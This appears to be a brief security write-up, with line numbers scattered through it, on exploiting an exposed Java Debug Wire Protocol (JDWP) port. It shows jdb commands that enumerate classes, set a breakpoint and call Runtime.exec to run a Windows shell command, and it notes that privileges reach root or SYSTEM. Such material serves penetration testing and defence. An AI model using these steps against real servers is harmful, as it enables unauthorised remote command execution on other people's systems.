JDWP Arbitrary Java Code Execution Exploitation
2
===============================================
3
Java Debugging Wire Protocol (JDWP) is the lowlevel protocol used for
4
communication between a debugger and a Java Virtual Machine (JVM) as outlined in
5
the Java Platform Debugger Architecture. It is often used to facilitate remote
6
debugging of a JVM over TCP/IP and can be identified by the initial protocol
7
handshake ascii string "JDWP-Handshake", sent first by the client and responded
8
to by the server. "jdb" is a proof-of-concept JDWP capable debugger included in
9
Oracle JDK and OpenJDK which can be used to interact with remote JDWP capable
10
services. Typically this service runs on TCP port 8000 however it can be found
11
to run on arbitrary TCP ports and is sometimes found enabled inadvertantly on
12
servers running Java services. It is possible to use this utility to exploit 
13
remote JVM's and execute arbitrary Java code. An example shown here outlines
14
how to leverage this weakness to execute arbitrary host OS commands in the
15
context of the JVM.

17
$ jdb -attach x.x.x.x:8000
18
Set uncaught java.lang.Throwable
19
Set deferred uncaught java.lang.Throwable

23
Information leaks can be leveraged to determine details about the remote OS
24
platform and Java installation configuration through the "classpath" command.
25
26
> classpath
27
base directory: C:\Windows\system32
28
classpath: [ ** MASKED ** list of jar's loaded in remote JVM ]
29
bootclasspath: [ ** MASKED ** list of JRE paths ]
30

32
jdb is capable of performing remote object creation and method invokation from
33
within the CLI using the "print" "dump" and "eval" commands with the "new"
34
keyword. To determine the classes and methods available use the "classes" and
35
then "methods" on the corrosponding class. 
36

> classes
38
...
39
java.lang.Runtime
40
...
41
> methods java.lang.Runtime
42
...
43
java.lang.Runtime exec(java.lang.String[])
44
...
45
46
It is often necessary to set the JDB context to be within a suspended thread or
47
breakpoint before attempting to create a new remote object class. Using the
48
"trace go methods" function can be used to identify a candidate for a breakpoint
49
and then "stop in your.random.class.method()" to halt the execution of a running
50
thread. When the execution is halted you can use "print new" to create your
51
class and invoke methods such as in the following example.
52
53
Breakpoint hit: "thread=threadname",your.random.class.method(), line=745 bci=0
54
threadname[1] print new java.lang.Runtime().exec("cmd.exe /c dir")
55
new java.lang.Runtime().exec("cmd.exe /c dir") = "java.lang.ProcessImpl@918502"
56
threadname[1] cont
57
> 
58
59
Exploitation success will be determined from the output of the JDB process as
60
functions returning "null" or errors about "unsuspended thread state" would
61
indicate that exploitation was unsuccessful, however in the example above we can
62
see that the java created a new object "java.lang.ProcessImpl@918502" indicating
63
the "cmd.exe /c dir" was executed with success. On Linux this may need adjusting
64
to "java.lang.Runtime.getRuntime().exec()" however see the method / class
65
enumeration when attempting to exploit this flaw.
66
67
68
Your java will be executed in the context of the running JVM application, this
69
has been identified on services running as both "root" (*nix) and "SYSTEM"
70
(win32) in the wild.
